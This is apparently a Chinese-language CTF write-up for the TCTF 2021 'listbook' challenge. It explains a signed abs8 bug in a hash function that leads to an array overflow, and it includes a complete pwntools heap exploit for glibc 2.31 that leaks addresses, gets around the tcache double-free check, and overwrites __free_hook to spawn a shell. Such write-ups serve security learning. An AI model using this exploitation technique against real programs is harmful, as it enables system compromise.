TCTF2021-listbook-WP

Posted on Jul 5, 2021

比赛和考试周相撞,所以比赛没有好好打,整场只看了这道题,比较尴尬的是最后也没看出来漏洞点。这个漏洞点让我觉得这个位置一定是个漏洞点,但是又触发不了这个洞,最后看了别人的 WP 才知道洞的位置猜对了,但是比赛时不知道为什么没触发出来。

程序的流程很简单,稍微看下就能理解,这里不多说了,题目最难的应该就是发现漏洞点了。程序实现了一个哈希表来进行 name 到 content 的映射,用链表来处理碰撞。计算哈希值的过程如下

这里的 abs8 是由 IDA 分析得出的,实际上是这样一段代码

看到最后的 movsx 的时候就觉得不对劲,感觉这个 abs 是有问题的,所以尝试了一下输入负数,也就是名字为 '\x80\n',事实上这个 abs8 的 bug 就是 abs8(-128) == -128,这样就可以触发了,但是比赛的时候多次尝试后都无果,不知道为什么,可能是看错了或者有别的问题,总之以为这就是没问题的了,遂放弃。那实际上这里可以返回 -128,就可以通过后面的数组溢出修改判断是否存在的数组,使其值变为非零,这样就可以 leak 和 double free 了。然后就可以 tcache 打 __free_hook 这样一路下去了。

exp

exp 写的比较痛苦,由于 2.31 tcache 的 double free 有检测,所以这里选择先把被 double free 的 chunk free 到 unsortedbin 中,然后再 free 到 tcache 里。由于 free 到 tcache 的时候会破坏 unsortedbin 的 fd 和 bk,我选择再此 chunk 前后都放一个 unsortedbin 并让他们合并,合并后 free 不会触发错误,最后通过类似堆块重叠的方式实现对该 tcache UAF 打 __free_hook。其实此程序还可以 leak 堆地址,在 libc 2.32 以上的版本下也是可以绕过 Safe-Linking 实现利用的,不过这里就不需要了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", 'splitw', '-h']

sh = process("./listbook")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.31.so")

def add(name, content):
	sh.sendlineafter(">>",'1')
	sh.sendafter("name>", name)
	sh.sendafter("content>", content)

def delete(idx):
	sh.sendlineafter(">>",'2')
	sh.sendlineafter("index>",str(idx))

def show(idx):
	sh.sendlineafter(">>",'3')
	sh.sendlineafter("index>",str(idx))

# leak heap
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
show(2)

sh.recvuntil("0000000000000002")
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2A0

add('0000000000000000', '\x00\n') # unsorted
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
delete(2)
delete(0)

#add('\x08' * 0x10,'\x00\n')
add('\x80\n','\x00\n')
show(0)
sh.recvuntil("0000000000000000 => ")
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x260
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("heap_base: " + hex(heap_base))
log.success("libc_base: " + hex(libc_base))
#### leak done ####

add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n')
add('0000000000000002', '\x00\n') # clear bins; idx: 2

add('0000000000000003', '\x00\n')
add('0000000000000003', '\x00\n')
add('0000000000000003', '\x00\n')
add('0000000000000003', '\x00\n')
add('0000000000000003', '\x00\n')
add('0000000000000003', '\x00\n')
add('0000000000000003', '\x00\n') # 7 for tcache idx: 3
add('0000000000000003', '\x00\n') # 1 for unsorted idx: 3

delete(3)
add('0000000000000005', '\x00\n') # clear the tcache
add('0000000000000005', '\x00\n') # clear the tcache
add('0000000000000005', '\x00\n') # clear the tcache
add('0000000000000005', '\x00\n') # clear the tcache
add('0000000000000005', '\x00\n') # clear the tcache
add('0000000000000005', '\x00\n') # clear the tcache
add('0000000000000005', '\x00\n') # clear the tcache

add('0000000000000004', '\x00\n')
add('0000000000000004', '\x00\n')
add('0000000000000001', '\x00\n')
add('0000000000000004', '\x00\n')
add('0000000000000004', '\x00\n')
delete(5) # fill the tcache
delete(4)
delete(1)
add('\x08' * 0x10,'\x00\n')

add('0000000000000006', '\x00\n')
add('0000000000000007', '\x00\n')
delete(1)
delete(6)
for i in range(0x13):
	add('0000000000000006', '\x00\n')
	delete(6)

add(p64(__free_hook) + '\n', '\x00\n')
add('0000000000000009', '/bin/sh\n')
add('0000000000000008', p64(system) + '\n')
delete(9)

sh.interactive()